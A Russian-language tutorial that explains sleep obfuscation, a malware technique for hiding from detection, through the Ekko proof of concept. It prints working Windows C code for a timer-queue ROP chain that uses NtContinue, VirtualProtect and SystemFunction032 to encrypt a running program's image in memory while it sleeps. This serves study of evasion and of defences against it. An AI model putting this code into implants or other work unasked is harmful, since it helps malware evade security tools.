Sleep-обфускация — это одна из тех хитростей, которую хакеры используют, чтобы уклониться от обнаружения. Простой и самый наглядный пример для демонстрации Sleep-обфускации — это Ekko. У него есть и более продвинутый вариант, но он не столь наглядный, и разобраться с ним будет сложнее. Давайте лучше рассмотрим Ekko.
Еще по теме: Имитация атаки с помощью Caldera MITRE
Пример Sleep-обфускации с помощью Ekko
Ekko позволяет, как нам и требуется, изменить разрешение памяти с помощью функции VirtualProtect(), а зашифровать пейлоад через SystemFunction032. SystemFunction032 — это недокументированная функция Windows, впрочем, работает она донельзя просто: мы передаем ей блок данных, а она его шифрует. В основе функции лежит XOR. Есть еще SystemFunction033() — ее механизм тот же.
1 |
NTSTATUS WINAPI SystemFunction032(struct ustring * data,const struct ustring *key) |
Параметров, как видишь, всего два:
- data — сюда падает адрес структуры RC4_CONTEXT, которая содержит данные для шифрования или расшифровки;
- key — сюда падает адрес ключа, который можно использовать для расшифровки либо шифрования.
Примеры кода для шифрования с использованием этих функций вы найдете в блоге Осанды Джайятиссы.
У Ekko же всего одна‑единственная функция — EkkoObf(). Она принимает лишь один DWORD-параметр — время, на которое наш исполняемый файл уснет. Спрячется все адресное пространство, содержащее код исполняемого файла.
Сначала инициализируется ключ, с помощью которого будет происходить шифрование.
1 2 3 |
CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 }; USTRING Key = { 0 }; USTRING Img = { 0 }; |
Так как у нас Sleep-обфускация, нужно создать некоторое событие и таймер, который позволит «выстрелить» в определенный момент и спрятать либо вернуть наружу нашу нагрузку. Для этого Ekko использует стандартные функции CreateEventW() и CreateTimerQueue().
Функция CreateTimerQueue() позволяет создать очередь таймеров, которые будут вызываться друг за другом. Эта цепочка сыграет свою ключевую роль чуть позже.
1 2 |
hEvent = CreateEventW(0, 0, 0, 0); hTimerQueue = CreateTimerQueue(); |
Следующим шагом Ekko получает указатели на адреса ранее описанной функции SystemFunction032() и новой для нас NtContinue(). Функция NtContinue() также не документирована. Ее предназначение чуть сложнее — она принимает специальную структуру CONTEXT, которая содержит значения регистров. Передавая эту структуру в функцию, мы можем возобновить выполнение текущего потока с указанными в структуре CONTEXT изменениями в регистрах.
Например, значение регистра EAX равно 10. Передаем в функцию NtContinue() структуру CONTEXT со значением EAX 20, и EAX в нашем потоке становится равен 20.
Именно на этих функциях и строится ROP-цепочка. Чтобы шифровать весь наш файл в памяти, происходит получение его базового адреса загрузки через GetModuleHandle().
1 2 |
ImageBase = GetModuleHandleA( NULL ); ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage; |
Наконец, сама ROP-цепочка выглядит так.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD)) { WaitForSingleObject(hEvent, 0x32); memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT)); memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT)); memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT)); memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT)); memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT)); memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT)); // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); RopProtRW.Rsp -= 8; RopProtRW.Rip = (DWORD64)VirtualProtect; RopProtRW.Rcx = (DWORD64)ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE; RopProtRW.R9 = (DWORD64)&OldProtect; // SystemFunction032( &Key, &Img ); RopMemEnc.Rsp -= 8; RopMemEnc.Rip = (DWORD64)SysFunc032; RopMemEnc.Rcx = (DWORD64)&Img; RopMemEnc.Rdx = (DWORD64)&Key; // WaitForSingleObject( hTargetHdl, SleepTime ); RopDelay.Rsp -= 8; RopDelay.Rip = (DWORD64)WaitForSingleObject; RopDelay.Rcx = (DWORD64)NtCurrentProcess(); RopDelay.Rdx = SleepTime; // SystemFunction032( &Key, &Img ); RopMemDec.Rsp -= 8; RopMemDec.Rip = (DWORD64)SysFunc032; RopMemDec.Rcx = (DWORD64)&Img; RopMemDec.Rdx = (DWORD64)&Key; // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); RopProtRX.Rsp -= 8; RopProtRX.Rip = (DWORD64)VirtualProtect; RopProtRX.Rcx = (DWORD64)ImageBase; RopProtRX.Rdx = (DWORD64)ImageSize; RopProtRX.R8 = PAGE_EXECUTE_READWRITE; RopProtRX.R9 = (DWORD64)&OldProtect; // SetEvent( hEvent ); RopSetEvt.Rsp -= 8; RopSetEvt.Rip = (DWORD64)SetEvent; RopSetEvt.Rcx = (DWORD64)hEvent; puts("[INFO] Queue timers"); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD); puts("[INFO] Wait for hEvent"); WaitForSingleObject(hEvent, INFINITE); puts("[INFO] Finished waiting for event"); printCurrentTime(); } DeleteTimerQueue(hTimerQueue); } |
Здесь сначала создаем таймер, который сразу же запускается и получает контекст текущего потока. Контекст — это как раз та структура CONTEXT со значениями регистров. После чего копируем этот контекст во все переменные, которые будут содержать изменения.
Далее заполняем в каждой структуре элементы так, чтобы они вызывали нужные функции и ROP-цепочка корректно отрабатывала. В нашем случае структуры заполняются так, чтобы шел вызов в такой последовательности: VirtualProtect() → изменение с RWX на RW → SystemFunction032() → шифрование → спим столько, сколько указано в функции → SystemFunction032() → расшифровка → VirtualProtect() → изменение с RW на RWX.
Для вызова ROP-цепочки регистрируются таймеры, которые по истечении времени вызывают функцию NtContinue() со структурами CONTEXT.
1 2 3 4 5 6 |
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD); |
Через 100 миллисекунд выстреливает первый гаджет, память с нашим файлом становится RW; через 200 миллисекунд все в памяти шифруется; через 300 ожидаем событие, которое перейдет в сигнальное состояние через указанное функцией время для сна; через 400 произойдет расшифровка, а через половину секунды память вновь станет RWX.
Логичный вопрос — каким образом система вызывает функции, если мы как бы шифруем всю память? Здесь идет шифрование только непосредственно кода программы, смапленной в память. При этом DLL, в которых находится реализация функций NtContinue(), SystemFunction032() и так далее, не шифруется. Поэтому все успешно исполняется, ведь мы регистрируем колбэки, указывая адреса этих функций. Система эти адреса запоминает, и они не подвергаются шифрованию при работе пейлоада (так как они находятся за пределами ImageBaseAddr + ImageSize). Поэтому все отлично срабатывает.
Заключение
Теперь нам понятен основной смысл работы Sleep-обфускации, но Ekko — лишь один из простейших PoC. На GitHub их много разновидностей: здесь и RustChain с использованием в логике хардверных брейк‑пойнтов, и Cronos с SleepEx(), и DeathSleep. Последний метод можно считать продвинутой Sleep-обфускацией, поскольку он буквально убивает текущий поток (но перед этим предварительно не забывает сохранить все регистры CPU для него и стек), затем спит, после чего восстанавливает данные.
В общем, теперь у вас огромный простор для самостоятельного изучения!
ПОЛЕЗНЫЕ ССЫЛКИ: